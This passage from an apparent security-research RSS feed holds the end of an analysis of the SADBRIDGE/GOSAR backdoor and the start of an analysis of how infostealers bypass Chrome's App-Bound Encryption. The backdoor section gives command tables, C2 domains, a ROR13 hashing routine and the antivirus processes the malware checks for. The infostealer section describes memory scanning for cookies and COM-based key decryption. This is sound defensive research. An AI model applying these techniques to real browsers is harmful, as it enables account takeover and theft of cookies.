<td align="left">Enumerate victim’s display monitors with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaymonitors"><code>EnumDisplayMonitors</code></a> API</td>
</tr>
<tr>
<td align="left">ResolveGetDesktop</td>
<td align="left">Start screen capture functionality</td>
</tr>
<tr>
<td align="left">ResolveStopGetDesktop</td>
<td align="left">Stop the screen capture functionality</td>
</tr>
<tr>
<td align="left">ResolveNewShellExecute</td>
<td align="left">Opens pipes to a spawned cmd.exe process and send commands to it</td>
</tr>
<tr>
<td align="left">ResolveGetSchTasks</td>
<td align="left">Get scheduled tasks by running the command <code>schtasks /query /fo list /v</code></td>
</tr>
<tr>
<td align="left">ResolveGetScreenshot</td>
<td align="left">Capture a screenshot of the victim’s desktop</td>
</tr>
<tr>
<td align="left">ResolveGetServices</td>
<td align="left">Get the list of services with a <strong>WMI</strong> query: <code>select * from Win32_Service</code></td>
</tr>
<tr>
<td align="left">ResolveDoServiceOperation</td>
<td align="left">Start or stop a service</td>
</tr>
<tr>
<td align="left">ResolveDoDisableMultiLogon</td>
<td align="left">Disable multiple session by user by setting the value <code>fSingleSessionPerUser</code> to 1 under the key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer</code></td>
</tr>
<tr>
<td align="left">ResolveDoRestoreNLA</td>
<td align="left">Restores the security settings for Remote Desktop Protocol (RDP), enabling <strong>Network Level Authentication</strong> (NLA) and enforcing <strong>SSL/TLS</strong> encryption for secure communication.</td>
</tr>
<tr>
<td align="left">ResolveGetRemoteClientInformation</td>
<td align="left">Get a list of all local users that are enabled, the <strong>RDP por</strong>t and <strong>LAN IP</strong> and <strong>OS specific information</strong>: <strong>DisplayVersion</strong>, <strong>SystemRoot</strong> and <strong>CurrentBuildNumber</strong> extracted from the registry key <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></td>
</tr>
<tr>
<td align="left">ResolveDoInstallWrapper</td>
<td align="left">Setup a Hidden Remote Desktop Protocol (<strong>HRDP</strong>)</td>
</tr>
<tr>
<td align="left">ResolveDoUninstallWrapper</td>
<td align="left">Uninstall <strong>HRDP</strong></td>
</tr>
<tr>
<td align="left">ResolveDoRecoverPrivileges</td>
<td align="left">Restores the original <strong><code>HKEY_LOCAL_MACHINE\\SAM\\SAM</code></strong> registry before changes were made during the installation of the <strong>HRDP</strong></td>
</tr>
<tr>
<td align="left">ResolveGetRemoteSessions</td>
<td align="left">Retrieve information about the RDP sessions on the machine.</td>
</tr>
<tr>
<td align="left">ResolveDoLogoffSession</td>
<td align="left">Logoff RDP session with <a href="https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtslogoffsession">**<code>WTSLogoffSession</code></a>** API</td>
</tr>
<tr>
<td align="left">ResolveGetSystemInfo</td>
<td align="left">Get system information</td>
</tr>
<tr>
<td align="left">ResolveGetConnections</td>
<td align="left">Get all the connections in the machine</td>
</tr>
<tr>
<td align="left">ResolveDoCloseConnection</td>
<td align="left">Not implemented</td>
</tr>
</tbody>
</table>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/004/">Process Injection: Asynchronous Procedure Call</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
</ul>
<h2>Mitigating REF3864</h2>
<h3>Detection</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_amsi_bypass_powershell.toml">Potential Antimalware Scan Interface Bypass via PowerShell</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_printspooler_childprocess.toml">Unusual Print Spooler Child Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml">Execution from Unusual Directory - Command Line</a></li>
<li><a href="https://www.elastic.co/jp/guide/en/security/current/external-ip-lookup-from-non-browser-process.html">External IP Lookup from Non-Browser Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml">Unusual Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_unusual_network_connection_via_dllhost.toml">Unusual Network Connection via DllHost</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_services_registry.toml">Unusual Persistence via Services Registry</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_parent_process_pid_spoofing.toml">Parent Process PID Spoofing</a></li>
</ul>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_masquerading_process_with_unusual_args_and_netcon.toml">Network Connection via Process with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_unusual_svchost.toml">Potential Masquerading as SVCHOST</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_netcon_dll_suspicious_callstack.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/95b23ae32ce1445a8a2f333dab973de313b14016/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_susp_imageload_timestomp.toml">Potential Image Load with a Spoofed Creation Time</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_Gosar.yar">Multi.Trojan.Gosar</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SadBridge.yar">Windows.Trojan.SadBridge</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">opera-x[.]net</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Landing page</td>
</tr>
<tr>
<td align="left">teledown-cn[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Landing page</td>
</tr>
<tr>
<td align="left">15af8c34e25268b79022d3434aa4b823ad9d34f3efc6a8124ecf0276700ecc39</td>
<td align="left">SHA-256</td>
<td align="left"><code>NetFxRepairTools.msi</code></td>
<td align="left">MSI</td>
</tr>
<tr>
<td align="left">accd651f58dd3f7eaaa06df051e4c09d2edac67bb046a2dcb262aa6db4291de7</td>
<td align="left">SHA-256</td>
<td align="left"><code>x64bridge.dll</code></td>
<td align="left">SADBRIDGE</td>
</tr>
<tr>
<td align="left">7964a9f1732911e9e9b9e05cd7e997b0e4e2e14709490a1b657673011bc54210</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">GOSAR</td>
</tr>
<tr>
<td align="left">ferp.googledns[.]io</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.secssl[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.winsiked[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.wkossclsaleklddeff[.]is</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.wkossclsaleklddeff[.]io</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html">https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html</a></li>
<li><a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">https://www.sonicwall.com/blog/project-androm-backdoor-trojan</a></li>
<li><a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/</a></li>
<li><a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512</a></li>
</ul>
<h2>Appendix</h2>
<p>Hashing algorithm (SADBRIDGE)</p>
<pre><code class="language-py">def ror(x, n, max_bits=32) -&gt; int:
    &quot;&quot;&quot;Rotate right within a max bit limit, default 32-bit.&quot;&quot;&quot;
    n %= max_bits
    return ((x &gt;&gt; n) | (x &lt;&lt; (max_bits - n))) &amp; (2**max_bits - 1)

def ror_13(data) -&gt; int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)
        
        if byte &gt;= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) &amp; 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -&gt; int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) &amp; 0xFFFFFFFF
    
    return hex(result)
</code></pre>
<h3>AV products checked in GOSAR</h3>
<table>
<thead>
<tr>
<th align="center">360sd.exe</th>
<th align="center">kswebshield.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">360tray.exe</td>
<td align="center">kvmonxp.exe</td>
</tr>
<tr>
<td align="center">a2guard.exe</td>
<td align="center">kxetray.exe</td>
</tr>
<tr>
<td align="center">ad-watch.exe</td>
<td align="center">mcshield.exe</td>
</tr>
<tr>
<td align="center">arcatasksservice.exe</td>
<td align="center">mcshield.exe</td>
</tr>
<tr>
<td align="center">ashdisp.exe</td>
<td align="center">miner.exe</td>
</tr>
<tr>
<td align="center">avcenter.exe</td>
<td align="center">mongoosagui.exe</td>
</tr>
<tr>
<td align="center">avg.exe</td>
<td align="center">mpmon.exe</td>
</tr>
<tr>
<td align="center">avgaurd.exe</td>
<td align="center">msmpeng.exe</td>
</tr>
<tr>
<td align="center">avgwdsvc.exe</td>
<td align="center">mssecess.exe</td>
</tr>
<tr>
<td align="center">avk.exe</td>
<td align="center">nspupsvc.exe</td>
</tr>
<tr>
<td align="center">avp.exe</td>
<td align="center">ntrtscan.exe</td>
</tr>
<tr>
<td align="center">avp.exe</td>
<td align="center">patray.exe</td>
</tr>
<tr>
<td align="center">avwatchservice.exe</td>
<td align="center">pccntmon.exe</td>
</tr>
<tr>
<td align="center">ayagent.aye</td>
<td align="center">psafesystray.exe</td>
</tr>
<tr>
<td align="center">baidusdsvc.exe</td>
<td align="center">qqpcrtp.exe</td>
</tr>
<tr>
<td align="center">bkavservice.exe</td>
<td align="center">quhlpsvc.EXE</td>
</tr>
<tr>
<td align="center">ccapp.exe</td>
<td align="center">ravmond.exe</td>
</tr>
<tr>
<td align="center">ccSetMgr.exe</td>
<td align="center">remupd.exe</td>
</tr>
<tr>
<td align="center">ccsvchst.exe</td>
<td align="center">rfwmain.exe</td>
</tr>
<tr>
<td align="center">cksoftshiedantivirus4.exe</td>
<td align="center">rtvscan.exe</td>
</tr>
<tr>
<td align="center">cleaner8.exe</td>
<td align="center">safedog.exe</td>
</tr>
<tr>
<td align="center">cmctrayicon.exe</td>
<td align="center">savprogress.exe</td>
</tr>
<tr>
<td align="center">coranticontrolcenter32.exe</td>
<td align="center">sbamsvc.exe</td>
</tr>
<tr>
<td align="center">cpf.exe</td>
<td align="center">spidernt.exe</td>
</tr>
<tr>
<td align="center">egui.exe</td>
<td align="center">spywareterminatorshield.exe</td>
</tr>
<tr>
<td align="center">f-prot.EXE</td>
<td align="center">tmbmsrv.exe</td>
</tr>
<tr>
<td align="center">f-prot.exe</td>
<td align="center">unthreat.exe</td>
</tr>
<tr>
<td align="center">f-secure.exe</td>
<td align="center">usysdiag.exe</td>
</tr>
<tr>
<td align="center">fortitray.exe</td>
<td align="center">v3svc.exe</td>
</tr>
<tr>
<td align="center">hipstray.exe</td>
<td align="center">vba32lder.exe</td>
</tr>
<tr>
<td align="center">iptray.exe</td>
<td align="center">vsmon.exe</td>
</tr>
<tr>
<td align="center">k7tsecurity.exe</td>
<td align="center">vsserv.exe</td>
</tr>
<tr>
<td align="center">knsdtray.exe</td>
<td align="center">wsctrl.exe</td>
</tr>
<tr>
<td align="center">kpfwtray.exe</td>
<td align="center">yunsuo_agent_daemon.exe</td>
</tr>
<tr>
<td align="center">ksafe.exe</td>
<td align="center">yunsuo_agent_service.exe</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/Security Labs Images 21.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Katz and Mouse Game:  MaaS Infostealers Adapt to Patched Chrome Defenses]]></title>
            <link>https://www.elastic.co/jp/security-labs/katz-and-mouse-game</link>
            <guid>katz-and-mouse-game</guid>
            <pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs breaks down bypass implementations from the infostealer ecosystem’s reaction to Chrome 127's Application-Bound Encryption scheme.]]></description>
            <content:encoded><![CDATA[<h1>Introduction</h1>
<p>In July, Google <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">announced</a> a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.</p>
<p>Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:</p>
<ul>
<li>STEALC/VIDAR</li>
<li>METASTEALER</li>
<li>PHEMEDRONE</li>
<li>XENOSTEALER</li>
<li>LUMMA</li>
</ul>
<h1>Key takeaways</h1>
<ul>
<li>Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption</li>
<li>Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome</li>
<li>Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term</li>
<li>Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity</li>
</ul>
<h1>Background</h1>
<p>Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.</p>
<p>The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.</p>
<p>A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.</p>
<p>Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.</p>
<h2>Google Chrome Cookie Security</h2>
<p>Legacy versions of Google Chrome on Windows used the Windows native <a href="https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection">Data Protection API</a> (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now <a href="https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107">well known to attackers</a> with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.</p>
<p>With the release of Chrome 127 in July 2024, Google <a href="https://developer.chrome.com/release-notes/127">implemented</a> Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image5.png" alt="Chrome 127 Application-Bound Encryption Scheme. Source: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" /></p>
<p>While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.</p>
<h1>Stealer Bypass Techniques, Summarized</h1>
<p>The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:</p>
<ul>
<li>Remote debugging via Chrome’s DevTools Protocol</li>
<li>Reading process memory of Chrome network service process (ChromeKatz and <code>ReadProcessMemory</code> (RPM))</li>
<li>Elevating to <code>SYSTEM</code> then decrypting <code>app_bound_encryption_key</code> with the <code>DecryptData</code> method of <code>GoogleChromeElevationService</code> through COM</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image30.png" alt="Timeline of events" /></p>
<h2>STEALC/VIDAR</h2>
<p>Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.</p>
<blockquote>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon">RACOON</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar">VIDAR</a>. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.</p>
</blockquote>
<p>During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with <code>v20</code>, a child process is spawned using the embedded PE file in the <code>.data</code> section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image2.png" alt="Embedded PE file" /></p>
<p>This embedded binary creates a hidden desktop via <code>OpenDesktopA</code> / <code>CreateDesktopA</code> then uses <code>CreateToolhelp32Snapshot</code> to scan and terminate all <code>chrome.exe</code> processes. A new <code>chrome.exe</code> process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature <a href="https://www.chromium.org/developers/design-documents/network-stack/cookiemonster/">CookieMonster</a>, an internal component used to manage cookies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image38.png" alt="Signature pattern for CookieMonster" /></p>
<p>We used the <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Main.cpp#L123">signature patterns</a> to pivot to existing code developed for an offensive security tool called <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a>. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.</p>
<p>Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the <code>--utility-sub-type=network.mojom.NetworkService</code> command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s <a href="https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/">post</a>. It then returns a handle for that specific child process.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image37.png" alt="Enumerating for Chrome’s network service" /></p>
<p>Next, it enumerates each module in the network service child process to find and retrieve the base address and size of <code>chrome.dll</code> loaded into memory. STEALC uses <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CredentialKatz/Memory.cpp#L280"><code>CredentialKatz::FindDllPattern</code></a> and <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CookieKatz/Memory.cpp#L435"><code>CookieKatz::FindPattern</code></a> to locate the CookieMonster instances. There are 2 calls to <code>CredentialKatz::FindDllPattern</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image17.png" alt="Calls to CredentialKatz::FindDllPattern" /></p>
<p>In the first call to <code>CredentialKatz::FindDllPattern</code>, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in <code>chrome.dll</code>. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function <code>net::CookieMonster::~CookieMonster</code>, destructor of the <code>CookieMonster</code> class.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image14.png" alt="Byte sequence for net::CookieMonster::~CookieMonster found in chrome.dll" /></p>
<p>The second call to <code>CredentialKatz::FindDllPattern</code> passes in the function address for <code>net::CookieMonster::~CookieMonster(void)</code> as an argument for the byte sequence search, resulting in STEALC having a pointer to <code>CookieMonster</code>’s Virtual Function Pointer struct.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image19.png" alt="CookieMonster’s vtable in chrome.dll" /></p>
<p>The following method used by STEALC is again, identical to ChromeKatz, where it locates <code>CookieMonster</code> instances by scanning memory chunks in the <code>chrome.dll</code> module for pointers referencing the <code>CookieMonster</code> vtable. Since the vtable is a constant across all objects of a given class, any <code>CookieMonster</code> object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a <code>CookieMonster</code> instance and stores its address in an array.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image16.png" alt="Using CookieKatz::FindPattern to locate CookieMonster instances" /></p>
<p>For each identified <code>CookieMonster</code> instance, STEALC accesses the internal <code>CookieMap</code> structure located at an offset of <code>+0x30</code>, and which is a binary tree. Each node within this tree contains pointers to <code>CanonicalCookieChrome</code> structures. <code>CanonicalCookieChrome</code> structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image20.png" alt="Initiating CookieMap tree traversal for each CookieMonster instance found" /></p>
<p>For each node, it calls <code>ReadProcessMemory</code> to access the <code>CanonicalCookieChrome</code> structure from the target process’s memory, then further processing it in <code>jy::GenerateExfilString</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image31.png" alt="CookieMap traversal subroutine" /></p>
<p>STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the <code>HttpOnly</code> and <code>Secure</code> flags. It then appends details such as the cookie's name, value, domain, path, and the <code>HttpOnly</code> and <code>Secure</code> into a final string for exfiltration. <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Memory.cpp#L10"><code>OptimizedString</code></a> structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image23.png" alt="Constructing string for data exfiltration" /></p>
<h2>METASTEALER</h2>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a>, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version <code>129+</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image26.png" alt="METASTEALER announcement and translation" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image28.png" alt="source: https://x.com/g0njxa/status/1840761619686568319/" /></p>
<p>The <a href="https://www.virustotal.com/gui/file/973a9056040af402d6f92f436a287ea164fae09c263f80aba0b8d5366ed9957a">first sample</a> observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing <code>Administrator</code> privileges, our testing revealed it does require elevated access, as it attempts to impersonate the <code>SYSTEM</code> token during execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image11.png" alt="Code comparison between an old and a new version of the family" /></p>
<p>As shown in the screenshots above, the <code>get_decryption</code> method now includes a new Boolean parameter. This value is set to <code>TRUE</code> if the encrypted data (cookie) begins with the <code>v20</code> prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.</p>
<p>The malware then attempts to access the <code>Local State</code> or <code>LocalPrefs.json</code> files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (<code>encrypted_key</code>) for older Chrome versions and <code>app_bound_encrypted_key</code> for newer ones. If the flag is set to <code>TRUE</code>, the malware specifically uses the <code>app_bound_encrypted_key</code> to decrypt cookies in line with the updated Chrome encryption method.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image13.png" alt="app_bound_encrypted_key extracted from Chrome json file" /></p>
<p>In this case, the malware first impersonates the <code>SYSTEM</code> token using a newly introduced class called <code>ContextSwitcher</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image35.png" alt="New class for TOKEN impersonation" /></p>
<p>It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named <code>GoogleChromeElevationService</code>, using the CLSID <code>708860E0-F641-4611-8895-7D867DD3675B</code>. Once initialized, it invokes the <a href="https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevator.cc#L155"><code>DecryptData</code></a> method to decrypt the <code>app_bound_encrypted_key</code> key which will be used to decrypt the encrypted cookies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image8.png" alt="New class ComInvoker to invoke methods from GoogleChromeElevationService service" /></p>
<p>METASTEALER employs a technique similar to the one demonstrated in a <a href="https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824">gist</a> shared <a href="https://x.com/snovvcrash/status/1839715912812802162">on X</a> on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.</p>
<h2>PHEMEDRONE</h2>
<p>This <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">open-source stealer</a> caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent <a href="https://www.virustotal.com/gui/file/1067d27007ea862ddd68e90ef68b6d17fa18f9305c09f72bad04d00102a60b8c">release</a> (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image10.png" alt="README.txt within PHEMEDRONE project" /></p>
